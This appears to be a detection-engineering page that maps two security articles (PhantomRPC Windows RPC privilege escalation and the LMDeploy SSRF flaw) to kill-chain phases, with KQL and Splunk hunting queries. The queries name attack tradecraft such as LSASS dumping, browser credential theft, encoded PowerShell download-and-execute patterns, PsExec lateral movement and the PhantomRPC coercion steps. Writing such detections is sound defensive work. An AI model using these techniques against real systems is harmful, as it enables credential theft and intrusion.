Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-04-245 use cases4 techniques4 kill-chain phases detected
Kaspersky researcher discovered a vulnerability in RPC architecture that enables an attacker to create a fake RPC server and escalate their privileges.
ATT&CKT1021.001T1021.002T1059.001T1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
Detected
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Likely
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — PhantomRPC: A new privilege escalation technique in Windows RPCExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1543.003
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — PhantomRPC: A new privilege escalation technique in Windows RPC
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("gpupdate.exe", "rpcrt4.dll", "winsta.dll", "w32tm.exe") or FolderPath has_any ("C:\Windows\System32\w32tm.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("C:\Windows\System32\w32tm.exe") or FileName in~ ("gpupdate.exe", "rpcrt4.dll", "winsta.dll", "w32tm.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — PhantomRPC: A new privilege escalation technique in Windows RPC ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("gpupdate.exe","rpcrt4.dll","winsta.dll","w32tm.exe") OR Processes.process_path="*C:\Windows\System32\w32tm.exe*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*C:\Windows\System32\w32tm.exe*" OR Filesystem.file_name IN ("gpupdate.exe","rpcrt4.dll","winsta.dll","w32tm.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] PhantomRPC coercion: gpupdate.exe /force spawned by service-account process (IIS/SQL/etc.)ExploitationHigh
Hunts the PhantomRPC coercion primitive where an attacker who has compromised a Network Service / Local Service context process (e.g. w3wp.exe, sqlservr.exe) launches gpupdate.exe /force to coerce the SYSTEM-running Group Policy Client service into making an RPC call to the spoofed TermSrvApi endpoint. Legitimate gpupdate executions are normally driven by Task Scheduler, Explorer, or a logged-on admin — not by a service worker process.
Rationale: The article explicitly names gpupdate.exe /force as the coercion trigger and Network Service-running services (IIS used as the example) as the prerequisite attacker context. Service worker processes virtually never invoke gpupdate /force in benign ops, so the parent–child + account combo is high-fidelity.
Cross-checked against:
• https://securelist.com/phantomrpc-rpc-vulnerability/119428/
• https://www.darkreading.com/vulnerabilities-threats/unpatched-phantomrpc-flaw-windows-privilege-escalation
• https://cybertechnologyinsights.com/cybersecurity/new-windows-rpc-flaw-enables-system-privilege-escalation/
ATT&CKT1134.001T1068
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName =~ "gpupdate.exe" and ProcessCommandLine has "/force"
| where InitiatingProcessAccountName in~ ("network service","local service")
or InitiatingProcessFileName in~ ("w3wp.exe","sqlservr.exe","httpd.exe","nginx.exe","php-cgi.exe","node.exe","inetinfo.exe","tomcat9.exe","javaw.exe")
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName, ProcessIntegrityLevel
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.user) as user from datamodel=Endpoint.Processes where Processes.process_name=gpupdate.exe Processes.process="*/force*" (Processes.parent_process_name IN (w3wp.exe,sqlservr.exe,httpd.exe,nginx.exe,tomcat*.exe,javaw.exe,java.exe,php-cgi.exe,node.exe,inetinfo.exe) OR Processes.parent_process_name=svchost.exe) by Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_name Processes.user | `drop_dm_object_name(Processes)` | where match(user,"(?i)NETWORK SERVICE|LOCAL SERVICE|IUSR|IIS APPPOOL")
[LLM] PhantomRPC token theft: SYSTEM-integrity shell spawned by Network/Local Service parent shortly after gpupdateInstallationHigh
Detects the post-impersonation payoff of PhantomRPC: a process running as Network Service or Local Service (e.g. w3wp.exe) that — within seconds of issuing gpupdate, an Edge launch, an ipconfig, or a WDI trigger — spawns a SYSTEM-integrity cmd.exe / powershell.exe / pwsh.exe child. The article's PoC explicitly demonstrates 'spawning a SYSTEM-level command prompt' from the coerced impersonation, and the same primitive applies to all five disclosed paths (Edge→RDP, WDI→RDP, ipconfig→DHCP, etc.).
Rationale: PhantomRPC's net effect — the article's stated PoC outcome — is a SYSTEM child spawned by a Network/Local Service-owned parent via stolen impersonation token. That parent-account-to-child-integrity transition (Network Service → SYSTEM) is the unambiguous signature of any token-theft PE (PhantomRPC and the Potato family) and is essentially never benign.
Cross-checked against:
• https://securelist.com/phantomrpc-rpc-vulnerability/119428/
• https://netcrook.com/phantomrpc-windows-flaw-privilege-escalation/
• https://windowsnews.ai/article/phantomrpc-windows-rpc-endpoint-spoofing-leads-to-system-privilege-escalation.415086
ATT&CKT1134.001T1134.002T1059.001T1059.003
Data sourcesEndpoint.Processes
let parents = DeviceProcessEvents
| where InitiatingProcessAccountName in~ ("network service","local service")
| where FileName in~ ("w3wp.exe","sqlservr.exe","httpd.exe","nginx.exe","php-cgi.exe","node.exe","inetinfo.exe","tomcat9.exe","javaw.exe","svchost.exe")
| project ParentTime=Timestamp, DeviceId, ParentPid=ProcessId, ParentName=FileName, ParentAccount=AccountName, ParentInitAccount=InitiatingProcessAccountName;
DeviceProcessEvents
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe")
| where AccountName =~ "system" or ProcessIntegrityLevel =~ "System"
| join kind=inner parents on $left.DeviceId == $right.DeviceId, $left.InitiatingProcessId == $right.ParentPid
| where Timestamp between (ParentTime .. (ParentTime + 5m))
| project Timestamp, DeviceName, ParentName, ParentInitAccount, FileName, ProcessCommandLine, AccountName, ProcessIntegrityLevel, InitiatingProcessCommandLine
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (cmd.exe,powershell.exe,pwsh.exe,conhost.exe) Processes.parent_process_name IN (w3wp.exe,sqlservr.exe,httpd.exe,nginx.exe,php-cgi.exe,node.exe,inetinfo.exe,svchost.exe,tomcat9.exe,javaw.exe) Processes.user IN ("NT AUTHORITY\\SYSTEM","SYSTEM") by Processes.dest Processes.parent_process_name Processes.parent_process_id Processes.process_name Processes.process Processes.user Processes.parent_process_path | `drop_dm_object_name(Processes)` | join type=inner dest parent_process_id [| tstats `summariesonly` values(Processes.user) as parent_user from datamodel=Endpoint.Processes where Processes.process_name IN (w3wp.exe,sqlservr.exe,httpd.exe,nginx.exe,php-cgi.exe,node.exe,inetinfo.exe,svchost.exe,tomcat9.exe,javaw.exe) by Processes.dest Processes.process_id as parent_process_id | `drop_dm_object_name(Processes)` | where match(parent_user,"(?i)NETWORK SERVICE|LOCAL SERVICE")]
Hunting query for the root primitive of PhantomRPC: any process other than the legitimate TermService-hosting svchost.exe instance registering or hosting the RPC interface UUID bde95fdf-eee0-45de-9e12-e5a61cd0d4fe / ALPC endpoint TermSrvApi. Requires the Microsoft-Windows-RPC ETW provider (e.g. via SilkETW, ETW collectors, or Defender for Identity sensor) to be forwarded as a custom data source.
Rationale: The article gives the exact UUID (bde95fdf-eee0-45de-9e12-e5a61cd0d4fe) and ALPC endpoint name (TermSrvApi) that a PhantomRPC fake server must register to spoof TermService. Any process other than the genuine TermService svchost instance binding that UUID/endpoint is essentially diagnostic of the exploit and has no benign equivalent. Marked hunting because ETW-RPC is rarely centrally collected by default.
Cross-checked against:
• https://securelist.com/phantomrpc-rpc-vulnerability/119428/
• https://www.darkreading.com/vulnerabilities-threats/unpatched-phantomrpc-flaw-windows-privilege-escalation
ATT&CKT1559T1574
Data sourcesEndpoint.Processes
// Requires ETW-RPC forwarded into a custom table; example assumes 'RpcEvents_CL'
RpcEvents_CL
| where InterfaceUuid_s =~ "bde95fdf-eee0-45de-9e12-e5a61cd0d4fe" or Endpoint_s has "TermSrvApi"
| where EventName_s in~ ("RpcServerRegisterIf","RpcServerRegisterIf2","RpcServerRegisterIf3","RpcServerUseProtseqEp","AlpcCreatePort")
| where not(ProcessName_s has "svchost.exe" and InitiatingAccountName_s has "network service")
| project TimeGenerated, DeviceName_s, ProcessName_s, ProcessId_d, InitiatingAccountName_s, InterfaceUuid_s, Endpoint_s
| sort by TimeGenerated desc
index=etw_rpc (InterfaceUuid="bde95fdf-eee0-45de-9e12-e5a61cd0d4fe" OR Endpoint="TermSrvApi" OR Endpoint="ncalrpc:[TermSrvApi]") EventName IN ("RpcServerRegisterIf*","RpcServerUseProtseqEp*","AlpcCreatePort") | stats min(_time) as firstTime max(_time) as lastTime values(ProcessName) as ProcessName values(ProcessId) as ProcessId values(UserName) as UserName by host InterfaceUuid Endpoint | where NOT (match(ProcessName,"(?i)svchost\\.exe$") AND match(UserName,"(?i)NETWORK SERVICE"))
2026-04-2411 use cases4 techniques7 kill-chain phases detected
A high-severity security flaw in LMDeploy, an open-source toolkit for compressing, deploying, and serving large language models (LLMs), has come under active exploitation in the wild less than 13 hours after its public disclosure. The vulnerability, tracked as CVE-2026-33626 (CVSS score: 7.5), relates to a Server-Side Request Forgery (SSRF) vulnerability that could be exploited to access
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children · [LLM] LMDeploy CVE-2026-33626 SSRF: image_url pointing to cloud metadata or RFC1918
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → DNS tunneling / TXT-heavy domain queries · Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement · [LLM] LMDeploy server process egressing to AWS IMDS or scanning loopback ports
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-0740", "CVE-2026-3844", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
DNS tunneling / TXT-heavy domain queriesCommand & ControlMedium
Long subdomain labels + frequent queries to a single 2LD = DNS C2/exfil.
ATT&CKT1071.004T1048.003
Data sourcesNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 53 and isnotempty(RemoteUrl)
| extend qlen = strlen(RemoteUrl)
| where qlen > 50
| extend SecondLevelDomain = extract(@"([\w-]+\.[a-zA-Z]{2,})$", 1, RemoteUrl)
| summarize qcount = count(), uniqueSubs = dcount(RemoteUrl), maxLabel = max(qlen)
by DeviceName, SecondLevelDomain
| where qcount > 100 and uniqueSubs > 20
| order by qcount desc
| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.message_type="QUERY"
by DNS.src, DNS.query
| `drop_dm_object_name(DNS)`
| eval qlen=len(query)
| where qlen > 50
| rex field=query "(?<second_level_domain>[\w-]+\.[\w-]+)$"
| stats sum(count) AS qcount, dc(query) AS unique_subs, max(qlen) AS max_label
by src, second_level_domain
| where qcount > 100 AND unique_subs > 20
| sort - qcount
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
